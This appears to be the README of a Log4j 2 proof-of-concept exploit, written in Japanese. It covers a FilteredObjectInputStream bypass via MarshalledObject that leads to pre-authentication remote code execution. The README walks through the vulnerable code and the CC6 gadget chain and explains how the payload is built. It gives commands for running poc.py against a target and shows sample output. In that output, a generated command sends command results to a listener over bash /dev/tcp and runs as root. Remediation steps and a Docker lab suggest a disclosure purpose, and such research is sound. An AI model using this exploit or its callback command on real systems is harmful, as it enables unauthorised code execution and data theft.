
Apache Log4j 2 における FilteredObjectInputStream MarshalledObject バイパスを介した事前認証 RCE
Log4j の FilteredObjectInputStream を介して LogEvent をデシリアライズするあらゆる Java サービスに対する事前認証 RCE。認証情報は不要です。
2026年8月24日に GitHub issue #4255 として報告されました。
Log4j は安全なデシリアライズラッパーとして FilteredObjectInputStream(FOIS)を同梱しています。これは resolveClass() をオーバーライドし、許可リストにより org.apache.logging.log4j.*、java.lang.*、java.util.*、およびいくつかの明示的なクラスのみが通過できるようにしています。
その明示的なクラスの1つが java.rmi.MarshalledObject です:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- 問題の箇所
...);
MarshalledObject.get() は内部で新しい、素の ObjectInputStream を作成します。フィルタなしです。MarshalledObject 内にラップされたものはすべて制限なしでデシリアライズされ、許可リストを完全にバイパスします。
Log4j 自体がこのラッピングを行います。LogEventProxy(すべての LogEvent のシリアライズプロキシ)は、イベントメッセージを MarshalledObject<Message> フィールドに格納します。デシリアライズ時には marshalledMessage.get() を呼び出してメッセージを復元します。この呼び出しがフィルタなしのストリームを作成します。ゲームオーバーです。
フィルタはストリーム内のトップレベルのクラス記述子のみを確認します:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS は LogEventProxy(log4j パッケージ、許可)、MarshalledObject(許可リスト内)、byte[](プリミティブ)をチェックします。すべて通過します。CC6 ガジェットチェーンは MarshalledObject.objBytes 内に生のバイト列として隠されています。FOIS はそれを認識しません。
LogEventProxy.readResolve() が実行されると:
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // フィルタなしの ObjectInputStream
} catch (final Exception ex) {
// 無視する
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() は素の ObjectInputStream を作成し、CC6 チェーンがトリガーされ、コマンドが実行されます。ガジェットの結果が Message でない場合の ClassCastException は catch ブロックが飲み込むため、サーバーは正常に応答します。エラーもログエントリも発生しません。
比較として、ObjectMessage は正しく実装しています:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // フィルタ付きの内部ストリームを作成
}
LogEventProxy は同じパターンを使うべきですが、使っていません。
攻撃者 標的(FOIS ベースの受信側)
| |
| HTTP POST /log |
| Body: シリアライズされた LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j パッケージ
| ├── resolveClass(MarshalledObject) ✓ 許可リスト
| └── resolveClass(byte[]) ✓ プリミティブ
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) フィルタなし
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
サーバーは 200 で応答し、何もなかったかのようにイベントを処理します。
ポイントは、CC6 チェーンを早期にトリガーさせずに MarshalledObject.objBytes 内に収めることです。
GadgetMessage は Message を実装し、writeReplace() をオーバーライドして CC6 ガジェットを返します:
GadgetMessage をメッセージとして持つ Log4jLogEvent を構築します。LogEventProxy.writeObject() が marshall(message) を呼び出し、GadgetMessage を MarshalledObject コンストラクタに渡します。GadgetMessage をシリアライズします。writeReplace() が発火し、CC6 の HashSet に置き換えます。MarshalledObject.objBytes に CC6 チェーンが含まれます。GadgetMessage はワイヤ上に現れません。GadgetMessage は攻撃者側のみに存在します。標的のクラスパスにある必要はありません。
| コンポーネント | 脆弱性あり |
|---|---|
log4j-api(FilteredObjectInputStream) | 2.11.0 から 2.24.3 |
log4j-core(LogEventProxy の MarshalledObject フィールド) | 2.8.0 から 2.24.3 |
標的にはガジェットライブラリがクラスパスにあることも必要です。この PoC は Commons Collections 3.2.1(CC6 チェーン)を使用します。
要件:Java 11+、Maven、Python 3.10+、Docker(被害者ラボのみ)
被害者をビルドして起動:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
エクスプロイトをビルド(または初回実行時に poc.py が実行):
cd exploit && mvn package -q -DskipTests && cd ..
実行:
# --lhost は標的から到達可能なあなたの IP
# 同一ホスト上の Docker ラボの場合は docker0 ブリッジ IP を使用
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
出力:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
カスタムコールバックポート:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
exploit/ 内で mvn package を呼び出し、PayloadGenerator をコンパイルして依存関係を取得します。以降の実行ではスキップします。java -cp exploit/target/... PayloadGenerator <cmd> を実行します。MarshalledObject 内に CC6 を含む base64 エンコードされたシリアライズ済み LogEvent を出力します。--lport(デフォルト 9999)で TCP リスナーを開き、コマンド出力を受信します。/log エンドポイントに送信します。/dev/tcp を介して出力をリスナーにパイプで返します。log4j2-rce/
├── README.md
├── poc.py # エクスプロイトスクリプト
├── exploit/ # 攻撃者側(ホスト上で実行)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # writeReplace() を持つ Message
└── lab/ # 被害者(Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # FOIS を使用する HTTP エンドポイント
lab/ は被害者側です。HttpLogReceiver は FilteredObjectInputStream を使用する HTTP ログレシーバーです。デフォルト設定、デバッグフラグなし、人為的な弱点なし。Commons Collections は現実的な推移的依存関係としてクラスパスにあります。
exploit/ は攻撃者側のツールです。PayloadGenerator はホスト上でシリアライズされたペイロードを構築します。被害者コンテナには一切触れません。
REQUIRED_JAVA_CLASSES から java.rmi.MarshalledObject を削除します。LogEventProxy の MarshalledObject<Message> フィールドを、SerializationUtil.writeWrappedObject() / readWrappedObject() でシリアライズされた byte[] に置き換えます。これは ObjectMessage がすでに正しく使用しているパターンと同じです。CC 3.2.1 以前:InvokerTransformer は自由にシリアライズされます。CC6 はそのまま動作します。
CC 3.2.2(2015年11月):InvokerTransformer にシリアライゼーションガードが追加され、org.apache.commons.collections.enableUnsafeSerialization が true でない限りチェーンをブロックします。
フィルタバイパスは CC のバージョンに関係なく存在します。CC のガードはガジェット層での多層防御であり、壊れたフィルタの修正ではありません。ガードのない他のガジェットライブラリ(Groovy、BeanShell、Spring Beans など)でも同じ攻撃が可能です。
docker rm -f fois-lab
docker rmi fois-bypass-lab
許可を得たテストのみを対象としています。所有していないものに対して実行する前に、書面による許可を取得してください。